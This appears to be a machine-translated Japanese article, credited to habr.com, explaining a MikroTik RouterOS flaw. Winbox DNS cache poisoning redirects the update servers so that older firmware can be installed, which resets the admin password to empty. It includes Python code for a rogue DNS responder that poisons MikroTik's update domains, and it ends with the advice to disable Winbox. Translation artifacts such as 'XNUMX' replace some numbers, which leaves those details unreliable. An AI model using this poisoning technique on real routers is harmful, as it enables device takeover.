RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

RouterOS (Mikrotik) に基づいてデバイスをリモートでダウングレードできる機能により、数十万のネットワーク デバイスが危険にさらされます。 この脆弱性は Winbox プロトコルの DNS キャッシュのポイズニングに関連しており、古いファームウェア (デフォルトのパスワード リセット付き) または変更されたファームウェアをデバイスにロードすることができます。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

脆弱性の詳細

RouterOS ターミナルは、DNS ルックアップ用の replace コマンドをサポートしています。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

このリクエストは、リゾルバーと呼ばれるバイナリによって処理されます。 リゾルバーは、RouterOS の Winbox プロトコルに接続する多くのバイナリの XNUMX つです。 高レベルでは、Winbox ポートに送信された「メッセージ」は、配列ベースの番号付けスキームに基づいて RouterOS のさまざまなバイナリにルーティングできます。

RouterOS のデフォルトでは、DNS サーバー機能が無効になっています。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

ただし、サーバー機能が無効になっている場合でも、ルーターは独自の DNS キャッシュを保持します。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

winbox_dns_request (example.com など) を使用してリクエストを行うと、ルーターは結果をキャッシュします。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

リクエストが通過する DNS サーバーを指定できるため、間違ったアドレスを入力することは簡単です。 たとえば、DNS サーバーの実装は次から構成できます。 フィリップ・クラウスIP アドレス 192.168.88.250 を含む A レコードで常に応答するようにします。

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Winbox を使用して example.com を検索すると、ルーターの DNS キャッシュが汚染されていることがわかります。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

もちろん、example.com をポイズニングすることは、ルーターが実際には使用しないため、あまり役に立ちません。 ただし、ルーターは upgrade.mikrotik.com、cloud.mikrotik.com、cloud2.mikrotik.com、download.mikrotik.com にアクセスする必要があります。 そして、別の間違いのおかげで、それらを一度に毒することが可能です。

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

ルーターは XNUMX つの許可を要求し、XNUMX つの許可を返します。 ルーターは、これらの応答すべてを正しくキャッシュするわけではありません。

RouterOS のバックポートの脆弱性により、数十万台のデバイスが危険にさらされる

明らかに、この攻撃は、ルーターのクライアントが攻撃される可能性があるため、ルーターが DNS サーバーとして機能している場合にも役立ちます。

この攻撃により、RouterOS のバージョンをダウングレードまたはバックポートするという、より深刻な脆弱性を悪用することも可能になります。 攻撃者は、変更ログを含む更新サーバーのロジックを再作成し、RouterOS に古い (脆弱な) バージョンを最新のものとして認識させます。 ここでの危険は、バージョンが「更新」されると、管理者パスワードがデフォルト値にリセットされるという事実にあります。攻撃者は空のパスワードを使用してシステムにログインできるのです。


という事実にもかかわらず、攻撃は非常に機能しています 筆者 に関連するものを含む、さらにいくつかのベクトルを実装します。 ファームウェアにバックドアを埋め込む, しかし、これはすでに冗長なテクニックであり、違法な目的での使用は違法です。

保護

Winbox を無効にするだけで、これらの攻撃から身を守ることができます。 Winbox 経由での管理は便利ですが、SSH プロトコルを使用することをお勧めします。

出所: habr.com

コメントを追加します